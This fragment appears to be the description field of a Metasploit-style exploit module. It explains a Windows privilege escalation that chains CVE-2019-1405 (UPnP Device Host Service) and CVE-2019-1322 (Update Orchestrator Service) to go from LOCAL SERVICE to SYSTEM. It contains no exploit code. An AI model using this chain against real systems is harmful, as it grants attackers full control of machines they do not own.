'Description' => %q(  
This exploit uses two vulnerabilities to execute a command as an elevated user.  
The first (CVE-2019-1405) uses the UPnP Device Host Service to elevate to  
NT AUTHORITY\LOCAL SERVICE  
The second (CVE-2019-1322) leverages the Update Orchestrator Service to  
elevate from NT AUTHORITY\LOCAL SERVICE to NT AUTHORITY\SYSTEM.
